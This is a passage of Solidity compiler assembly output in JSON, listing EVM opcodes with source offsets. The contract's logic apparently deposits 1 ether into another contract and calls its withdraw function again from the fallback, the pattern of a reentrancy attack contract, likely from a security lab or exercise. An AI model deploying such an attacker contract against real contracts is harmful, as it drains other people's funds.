"end": 810, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 800, | |
"end": 810, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 800, | |
"end": 810, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 800, | |
"end": 810, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 800, | |
"end": 810, | |
"name": "PUSH", | |
"value": "100" | |
}, | |
{ | |
"begin": 800, | |
"end": 810, | |
"name": "EXP" | |
}, | |
{ | |
"begin": 800, | |
"end": 810, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 800, | |
"end": 810, | |
"name": "DIV" | |
}, | |
{ | |
"begin": 800, | |
"end": 810, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 800, | |
"end": 810, | |
"name": "AND" | |
}, | |
{ | |
"begin": 800, | |
"end": 824, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 800, | |
"end": 824, | |
"name": "AND" | |
}, | |
{ | |
"begin": 800, | |
"end": 824, | |
"name": "PUSH", | |
"value": "155DD5EE" | |
}, | |
{ | |
"begin": 825, | |
"end": 832, | |
"name": "PUSH", | |
"value": "DE0B6B3A7640000" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "PUSH", | |
"value": "FFFFFFFF" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "AND" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "PUSH", | |
"value": "100000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "POP" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "POP" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "DUP4" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "DUP8" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "EXTCODESIZE" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "8" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "8" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "POP" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "GAS" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "CALL" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "9" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 45, | |
"end": 61, | |
"name": "RETURNDATASIZE" | |
}, | |
{ | |
"begin": 42, | |
"end": 43, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 39, | |
"end": 40, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 24, | |
"end": 62, | |
"name": "RETURNDATACOPY" | |
}, | |
{ | |
"begin": 77, | |
"end": 93, | |
"name": "RETURNDATASIZE" | |
}, | |
{ | |
"begin": 74, | |
"end": 75, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 67, | |
"end": 94, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "9" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "POP" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "POP" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "POP" | |
}, | |
{ | |
"begin": 800, | |
"end": 833, | |
"name": "POP" | |
}, | |
{ | |
"begin": 752, | |
"end": 844, | |
"name": "tag", | |
"value": "7" | |
}, | |
{ | |
"begin": 752, | |
"end": 844, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 53, | |
"end": 852, | |
"name": "STOP" | |
}, | |
{ | |
"begin": 282, | |
"end": 578, | |
"name": "tag", | |
"value": "2" | |
}, | |
{ | |
"begin": 282, | |
"end": 578, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 282, | |
"end": 578, | |
"name": "PUSH [tag]", | |
"value": "10" | |
}, | |
{ | |
"begin": 282, | |
"end": 578, | |
"name": "PUSH [tag]", | |
"value": "11" | |
}, | |
{ | |
"begin": 282, | |
"end": 578, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 282, | |
"end": 578, | |
"name": "tag", | |
"value": "10" | |
}, | |
{ | |
"begin": 282, | |
"end": 578, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 282, | |
"end": 578, | |
"name": "STOP" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "tag", | |
"value": "3" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "12" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "12" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "POP" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "PUSH [tag]", | |
"value": "13" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "PUSH [tag]", | |
"value": "14" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "tag", | |
"value": "13" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "AND" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "AND" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "POP" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "POP" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "RETURN" | |
}, | |
{ | |
"begin": 584, | |
"end": 665, | |
"name": "tag", | |
"value": "4" | |
}, | |
{ | |
"begin": 584, | |
"end": 665, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 584, | |
"end": 665, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "15" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "15" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 584, | |
"end": 665, | |
"name": "POP" | |
}, | |
{ | |
"begin": 584, | |
"end": 665, | |
"name": "PUSH [tag]", | |
"value": "16" | |
}, | |
{ | |
"begin": 584, | |
"end": 665, | |
"name": "PUSH [tag]", | |
"value": "17" | |
}, | |
{ | |
"begin": 584, | |
"end": 665, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 584, | |
"end": 665, | |
"name": "tag", | |
"value": "16" | |
}, | |
{ | |
"begin": 584, | |
"end": 665, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 584, | |
"end": 665, | |
"name": "STOP" | |
}, | |
{ | |
"begin": 282, | |
"end": 578, | |
"name": "tag", | |
"value": "11" | |
}, | |
{ | |
"begin": 282, | |
"end": 578, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 392, | |
"end": 399, | |
"name": "PUSH", | |
"value": "DE0B6B3A7640000" | |
}, | |
{ | |
"begin": 379, | |
"end": 388, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 379, | |
"end": 399, | |
"name": "LT" | |
}, | |
{ | |
"begin": 379, | |
"end": 399, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 371, | |
"end": 400, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 371, | |
"end": 400, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 371, | |
"end": 400, | |
"name": "PUSH [tag]", | |
"value": "19" | |
}, | |
{ | |
"begin": 371, | |
"end": 400, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 371, | |
"end": 400, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 371, | |
"end": 400, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 371, | |
"end": 400, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 371, | |
"end": 400, | |
"name": "tag", | |
"value": "19" | |
}, | |
{ | |
"begin": 371, | |
"end": 400, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 461, | |
"end": 471, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 461, | |
"end": 471, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 461, | |
"end": 471, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 461, | |
"end": 471, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 461, | |
"end": 471, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 461, | |
"end": 471, | |
"name": "PUSH", | |
"value": "100" | |
}, | |
{ | |
"begin": 461, | |
"end": 471, | |
"name": "EXP" | |
}, | |
{ | |
"begin": 461, | |
"end": 471, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 461, | |
"end": 471, | |
"name": "DIV" | |
}, | |
{ | |
"begin": 461, | |
"end": 471, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 461, | |
"end": 471, | |
"name": "AND" | |
}, | |
{ | |
"begin": 461, | |
"end": 484, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 461, | |
"end": 484, | |
"name": "AND" | |
}, | |
{ | |
"begin": 461, | |
"end": 484, | |
"name": "PUSH", | |
"value": "E2C41DBC" | |
}, | |
{ | |
"begin": 491, | |
"end": 498, | |
"name": "PUSH", | |
"value": "DE0B6B3A7640000" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "PUSH", | |
"value": "FFFFFFFF" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "AND" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "PUSH", | |
"value": "100000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "DUP4" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "DUP6" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "DUP9" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "EXTCODESIZE" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "20" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "20" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "POP" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "GAS" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "CALL" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "21" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 45, | |
"end": 61, | |
"name": "RETURNDATASIZE" | |
}, | |
{ | |
"begin": 42, | |
"end": 43, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 39, | |
"end": 40, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 24, | |
"end": 62, | |
"name": "RETURNDATACOPY" | |
}, | |
{ | |
"begin": 77, | |
"end": 93, | |
"name": "RETURNDATASIZE" | |
}, | |
{ | |
"begin": 74, | |
"end": 75, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 67, | |
"end": 94, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "21" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "POP" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "POP" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "POP" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "POP" | |
}, | |
{ | |
"begin": 461, | |
"end": 501, | |
"name": "POP" | |
}, | |
{ | |
"begin": 538, | |
"end": 548, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 538, | |
"end": 548, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 538, | |
"end": 548, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 538, | |
"end": 548, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 538, | |
"end": 548, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 538, | |
"end": 548, | |
"name": "PUSH", | |
"value": "100" | |
}, | |
{ | |
"begin": 538, | |
"end": 548, | |
"name": "EXP" | |
}, | |
{ | |
"begin": 538, | |
"end": 548, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 538, | |
"end": 548, | |
"name": "DIV" | |
}, | |
{ | |
"begin": 538, | |
"end": 548, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 538, | |
"end": 548, | |
"name": "AND" | |
}, | |
{ | |
"begin": 538, | |
"end": 562, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 538, | |
"end": 562, | |
"name": "AND" | |
}, | |
{ | |
"begin": 538, | |
"end": 562, | |
"name": "PUSH", | |
"value": "155DD5EE" | |
}, | |
{ | |
"begin": 563, | |
"end": 570, | |
"name": "PUSH", | |
"value": "DE0B6B3A7640000" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "PUSH", | |
"value": "FFFFFFFF" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "AND" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "PUSH", | |
"value": "100000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "POP" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "POP" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "DUP4" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "DUP8" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "EXTCODESIZE" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "22" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "22" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "POP" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "GAS" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "CALL" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "23" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 45, | |
"end": 61, | |
"name": "RETURNDATASIZE" | |
}, | |
{ | |
"begin": 42, | |
"end": 43, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 39, | |
"end": 40, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 24, | |
"end": 62, | |
"name": "RETURNDATACOPY" | |
}, | |
{ | |
"begin": 77, | |
"end": 93, | |
"name": "RETURNDATASIZE" | |
}, | |
{ | |
"begin": 74, | |
"end": 75, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 67, | |
"end": 94, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "23" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "POP" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "POP" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "POP" | |
}, | |
{ | |
"begin": 538, | |
"end": 571, | |
"name": "POP" | |
}, | |
{ | |
"begin": 282, | |
"end": 578, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "tag", | |
"value": "14" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "PUSH", | |
"value": "100" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "EXP" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "DIV" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "AND" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 75, | |
"end": 103, | |
"name": "JUMP", | |
"value": "[out]" | |
}, | |
{ | |
"begin": 584, | |
"end": 665, | |
"name": "tag", | |
"value": "17" | |
}, | |
{ | |
"begin": 584, | |
"end": 665, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 625, | |
"end": 635, | |
"name": "CALLER" | |
}, | |
{ | |
"begin": 625, | |
"end": 644, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 625, | |
"end": 644, | |
"name": "AND" | |
}, | |
{ | |
"begin": 625, | |
"end": 658, | |
"name": "PUSH", | |
"value": "8FC" | |
}, | |
{ | |
